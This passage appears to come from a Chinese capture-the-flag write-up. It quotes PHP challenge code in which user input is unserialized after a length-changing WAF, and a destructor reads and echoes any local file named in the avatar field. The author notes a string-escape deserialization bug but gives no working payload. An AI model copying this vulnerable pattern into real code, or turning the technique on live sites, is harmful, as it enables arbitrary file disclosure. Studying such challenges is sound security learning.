$data_avatar = $value->get_avatar();
if ( is_string($data_avatar) && !empty($data_avatar)) {
$content = file_get_contents(__DIR__ . "/" . $data_avatar);
$png_header = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52";
if (strpos($content, $png_header) === false )
{
throw new Exception("png content got an unexpected Exception");
}
}
}
}
return true;
}
public function update($profile)
{
$data = unserialize($this->waf($profile));
if ($data["old_password"] !== $data["old_real_password"] )
return $this->check_data($data);
$this->password = $data["password"];
$this->age = $data["age"];
$this->email = $data["email"];
}
//......
function __destruct()
{
if ( isset($this->username)
&& isset($this->password)
&& isset($this->age)
&& isset($this->email)
&& isset($this->avatar)
&& isset($this->content)
&& is_string($this->avatar)
&& !empty($this->avatar)
&& !preg_match('/\:\/\//', $this->avatar) )
{
$this->content = file_get_contents(__DIR__ . "/" . $this->avatar);
$res = "<script>\nvar img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64,content\";\nimg.alt = \"user\";\ndocument.getElementById(\"pro-avatar\").append(img);\n</script>";
$res = str_replace("content", base64_encode($this->content), $res);
echo $res;
}
}
dashboard.php 部分源码
if (isset($_POST["old_password"])
&& isset($_POST["update_password"])
&& isset($_POST["update_age"])
&& isset($_POST["update_email"])
&& is_string($_POST["old_password"])
&& is_string($_POST["update_password"])
&& is_string($_POST["update_age"])
&& is_string($_POST["update_email"])
)
{
if ( preg_match('/[^\d]/', $_POST["update_age"]) || !filter_var($_POST["update_email"], FILTER_VALIDATE_EMAIL) || strlen($_POST["update_password"]) > 16 || preg_match('/\W/', $_POST["update_password"]) )
$user->alertMes("invalid information", "./dashboard.php");
$update_profile = array (
"old_password" => $_POST["old_password"],
"old_real_password" => $user->password,
"password" => $_POST["update_password"],
"age" => $_POST["update_age"],
"email" => $_POST["update_email"]
);
$user->update(serialize($update_profile));
}
应该是调用User
类的update
方法时经过 waf
和 unserialize
时存在反序列化漏洞。
大老鼠有言:
waf() 造成序列化的字符串长度改变,就可以提前截断了
逃逸出来一个user对象就行了
u1s1,PHP 是世界上最好的语言,这题后面再看看来复现8(咕咕咕
(先溜了喵